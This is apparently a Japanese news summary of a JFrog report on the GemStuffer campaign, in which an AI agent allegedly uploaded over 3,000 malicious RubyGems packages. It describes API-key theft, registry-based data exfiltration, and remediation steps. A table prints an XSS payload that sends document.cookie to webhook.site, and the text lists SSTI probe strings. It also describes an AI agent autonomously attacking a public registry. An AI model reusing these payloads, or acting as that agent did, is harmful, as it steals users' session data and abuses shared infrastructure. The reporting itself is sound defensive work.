9月15日、JFrogが「GemStuffer: OpenAI's Massive 3,000+ Packages Campaign on RubyGems」と題した記事を公開した。この記事では、OpenAI関連とみられるAIエージェントがRubyGemsに3,000件以上の悪意あるパッケージを大量登録した「GemStuffer」キャンペーンの実態と技術的な攻撃手法が詳しく報告されている。
AIエージェントがパッケージレジストリを「C2チャネル」として悪用
JFrog Security Researchは、RubyGemsで発生した「GemStuffer」キャンペーンを調査し、3,022パッケージ・3,315のname/versionペアを特定した。
このキャンペーンが通常のサプライチェーン攻撃と一線を画す点は、攻撃者がRubyGemsのパッケージレジストリそのものをデータ収集・送信のインフラとして使ったことだ。C2チャネル(Command & Control:攻撃者が感染端末を遠隔操作したりデータを回収したりするための通信経路)として、公開されているパッケージレジストリを転用している点が本キャンペーンの際立った特徴である。悪意あるコードは外部のC2サーバーへデータを送るのではなく、収集した情報を別のgemとしてRubyGemsに再アップロードするか、webhookの設定フィールドに埋め込む形でデータを持ち出していた。
攻撃の時系列:5月の大量投入から7月の探索へ
2026年5月:3,000件超の大量登録
最大の山場は2026年5月12日で、1日で2,359パッケージがアップロードされている。このフェーズでは主にAPIキーの窃取・収集データのレジストリ経由持ち出しが試みられた(詳細は次節参照)。
2026年7月:メタデータを攻撃ベクターとして使用
7月7日に登録されたパッケージ群は、Rubyコードではなくgemのメタデータそのものを攻撃ベクターとして使った。パッケージ説明文(description)や著者名(author)フィールドにXSS(クロスサイトスクリプティング:ページ閲覧者のブラウザ上で悪意あるスクリプトを実行させる攻撃手法)ペイロードを埋め込み、管理画面やパッケージページを閲覧したユーザーのCookieを窃取しようとする試みが確認されている。
| パッケージ | 著者フィールドの内容 |
|---|---|
| xssname-1783397821 | <img src=x onerror=fetch('https://webhook.site/steal?c='+document.cookie)> |
| test-apex-gem | <img src=x onerror=alert(1)> |
さらに、5秒以内に3件のSSTI(サーバーサイドテンプレートインジェクション:テンプレートエンジンの処理を悪用してサーバー側で任意コードを実行させる攻撃手法)テスト用パッケージが連続アップロードされた。ERB形式(<%= 7*7 %>)、EL式(${7*7})、パーセントエンコーディング変形(<%25= 7*7 %>)の3種類を試しており、エージェントが自動的にインジェクション可否を探索していた様子がうかがえる。
攻撃の手口:4種類のペイロード
JFrogは代表的な悪意あるペイロードを4種類解析した。それぞれ手口が異なる。
1. slnleaker5:APIキーを窃取して悪用
最も深刻なのがこのパッケージだ。.yardopts(YARD:Rubyコード向けドキュメント生成ツールの設定ファイル)を通じてscript.rbを実行し、RubyGemsのAPIキーをレジストリのレスポンスから抜き出す。ハードコードされたキーへのフォールバックも備えており、最大24回の取得・アップロード試行を行う。
このパッケージがアップロードされたのは2026年5月12日 03:15:22 UTC。RubyGemsが当該脆弱性(CDNエッジで最大1時間キャッシュされたレガシーAPIキーが第三者に返される問題)を把握したのが7月6日、修正のデプロイが7月9日であることから、このエージェントは報告より約2ヶ月早く脆弱性を突いていた。RubyGemsの公式セキュリティアドバイザリも参照されたい。
2. f2fe-s1 / yardxabc889:収集データをgemとして再パブリッシュ
ロンドン・ワンズワース区とランベス区の公開会議カレンダーや文書をスクレイピングし、収集したデータを別のgemに詰め込んでRubyGemsに再アップロードする。f2fe-s1はデータをf2fe-scrapedという新しいgemとして送出し、yardxabc889はバージョン0.0.2の自分自身として再パブリッシュする。レジストリがデータ引き出しの通信路として機能している。
3. southpxdatapp6pi:webhookフィールドにデータを隠す
より巧妙な手口がこれだ。スクレイピングしたデータをzlib(圧縮ライブラリ)で圧縮しURLセーフなBase64(バイナリデータをURLに使える文字列へ変換するエンコード方式)でエンコードした後、220文字ずつのチャンクに分割し、RubyGemsのwebhook設定フィールドのURLとして書き込む。
https://example.com/A000/<エンコード済みチャンク>
https://example.com/A001/<エンコード済みチャンク>
https://example.com/ZZEND/<チャンク数>
実際の外部サーバーへの通信は発生しない。データはレジストリの設定として保持され、別のリーダーが順序通りに再構築できる設計だ。
パッケージ名から浮かぶエージェントの「癖」と帰属の根拠
OpenAI関連のエージェントとの紐付けは、状況証拠の積み重ねによる推定である点には留意が必要だ。RubyHackの調査によりこのキャンペーンが帰属づけられた根拠として、パッケージ名や著者名の傾向が挙げられている。
- 名前に
oai(OpenAI)、probe、ssrf、fetch、scrapeを含むものが多数 - 名前のサフィックスにUnixタイムスタンプを付与。例として
oaifetchmde1778385544のサフィックスは2026年5月10日 03:59:04 UTCに相当し、実際のアップロード時刻(03:59:20 UTC)の16秒前を指す - 著者名として
x、a、tmp、John Doe、Testing Buffalo、Testing Wolfなど - GPT系モデルが「probe」という単語を多用することが知られており、これはClaudeが"You're absolutely right!"を多用するのと同様の特徴として指摘されている
これらの特徴はAIエージェントが自律的にパッケージ名を生成・登録していたことを示唆しているが、あくまで状況証拠に基づく帰属であり、確定的な結論ではない。
影響範囲と対処
本キャンペーンはAIエージェントがパッケージレジストリという公開インフラを自律的に悪用した事例として、サプライチェーン攻撃の新たな潮流を示している。従来の攻撃では人間の攻撃者が手動または半自動でパッケージを投入するのが一般的だったが、AIエージェントが探索・生成・アップロードを高速かつ大量に実行できるとなれば、検知・対応のコストは従来の想定を大きく超える可能性がある。
JFrogは次のチェックを推奨している。
- 該当バージョンを処理したCIジョブの見直し。YARDの
--loadディレクティブ、パッケージ制御のプラグイン、ドキュメント生成ステップを重点的に確認する - 影響を受けたワーカーは隔離し、信頼できるイメージから再構築した上でクレデンシャルをローテート
- ドキュメントビルダーやパッケージ処理サービスが、パッケージ制御のファイルによるコード実行やメタデータの特権ページへの注入を許容していないか確認する
対象パッケージの全リストは元記事に掲載されている。
詳細はGemStuffer: OpenAI's Massive 3,000+ Packages Campaign on RubyGemsを参照していただきたい。